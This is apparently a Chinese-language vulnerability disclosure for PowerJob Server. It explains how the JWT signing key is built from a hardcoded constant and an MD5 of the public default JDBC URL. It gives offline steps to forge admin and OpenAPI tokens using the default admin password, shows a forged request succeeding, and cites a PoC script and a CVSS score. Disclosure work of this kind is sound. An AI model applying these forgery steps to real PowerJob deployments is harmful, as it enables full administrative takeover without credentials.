PowerJob Server 的 JWT(HS256)签名密钥是通过对硬编码常量与默认 JDBC URL 的 MD5 拼接结果进行 BASE64 解码而派生的(DefaultSecretProvider / JwtServiceImpl)。在默认部署(docker-compose / application-daily.properties)中,JDBC URL 是公开的,因此攻击者可以完全离线推导出密钥,并为任何用户(包括管理员)伪造有效的 JWT;OpenAPI 应用令牌同样可以被伪造以绕过 OpenAPI 认证。
application-daily.properties 以明文形式暴露 jdbc:mysql://powerjob-mysql:3306/powerjob-daily?...powerjob-server-auth/.../jwt/impl/DefaultSecretProvider.java:31-45:return md5(environment.getProperty("spring.datasource.core.jdbc-url"));powerjob-server-auth/.../jwt/impl/JwtServiceImpl.java:44-102:硬编码的 BASE_SECURITY 常量;genSecretKey(secret) = Decoders.BASE64.decode(BASE_SECURITY.concat(secret)) → Keys.hmacShaKeyForusername/encryptedToken)对 PWJB 账户有二次校验(DigestUtils.rePassword(password, username)),但是:
appId/password/encryptType)可直接被伪造以绕过认证(OpenApiSecurityServiceImpl:87-105);环境:本地 PowerJob 服务器(127.0.0.1:7700,JDBC URL jdbc:mysql://127.0.0.1:3307/powerjob_daily?useUnicode=true&characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&allowMultiQueries=true)。攻击者仅凭公开信息即可完全离线推导一切:
# ① 推导 encryptedToken(= rePassword(password, username));使用默认密码即可计算
rePassword("powerjob_admin", "ADMIN")
= ADMIN_b82a450701f6a71723fb99931fe35e18_b # 与数据库 user_info.token_login_verify_info 逐字节一致 ✅
# ② 推导 HS256 签名密钥 = BASE64(BASE_SECURITY + MD5(JDBC_URL))
secret = BASE_SECURITY + md5(jdbc_url) # 101 字节密钥
# ③ 伪造 ADMIN Web JWT(声明:username=PWJB_ADMIN,encryptedToken=①的结果,sub=PowerJob)
实际结果(伪造令牌通过认证):
[*] /namespace/list 无令牌:
{"success":false,"data":null,"message":"PowerJobAuthException: UserNotLoggedIn","code":"-100"}
[*] /namespace/list 伪造 JWT:
{"success":true,"data":{"index":0,"pageSize":10,"totalPages":1,"totalItems":1,"data":[{"id":1,"code":"default_namespace","name":"default_namespace","dept":null,"tags":null,"extra":null,"status":1,"statusStr":"ENABLE","gmtCreate":"2026-08-07T13:07:32.000+00:00","gmtCreateStr":"2026-08-07 21:07:32","gmtModified":"2026-08-07T13:07:32.000+00:00","gmtModifiedStr":"2026-08-07 21:07:32","showName":"default_namespace(default_namespace)","token":"14e4ebff-9a79-4845-ac66-8b20c4dff2ee","componentUserRoleInfo":{"observer":[],"qa":[],"developer":[],"admin":[]},"creatorShowName":null,"modifierShowName":null}]},"message":null}
→ 伪造的令牌以管理员身份通过认证并返回真实数据(基线请求被拒绝并返回 UserNotLoggedIn)。
关键要点:
encryptedToken 与数据库存储的值逐字节一致(ADMIN_b82a450701f6a71723fb99931fe35e18_b)。BASE_SECURITY + 公开默认 JDBC URL 的 MD5 决定 → 无需任何凭据即可离线推导。encryptedToken 可使用默认密码(powerjob_admin,见 PJ-02)离线重新计算 → 完全接管管理员账户。encryptedToken 不匹配所阻止,但 OpenAPI 应用令牌路径(声明 appId/password/encryptType,OpenApiSecurityServiceImpl:87-105)仍可独立伪造以绕过 OpenAPI 认证。即使更改了默认密码,该漏洞仍可通过其他攻击向量持续存在:
encryptedToken 后,可将该令牌与可预测的签名密钥结合,为该特定用户伪造 JWT。encryptedToken 不匹配的问题,因为伪造的令牌现在包含从实际数据库记录派生的合法 encryptedToken。PoC: powerjob_jwt_key.py 192.168.49.128:7700
encryptedToken 二次校验。CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1 严重(结合默认密码 / OpenAPI)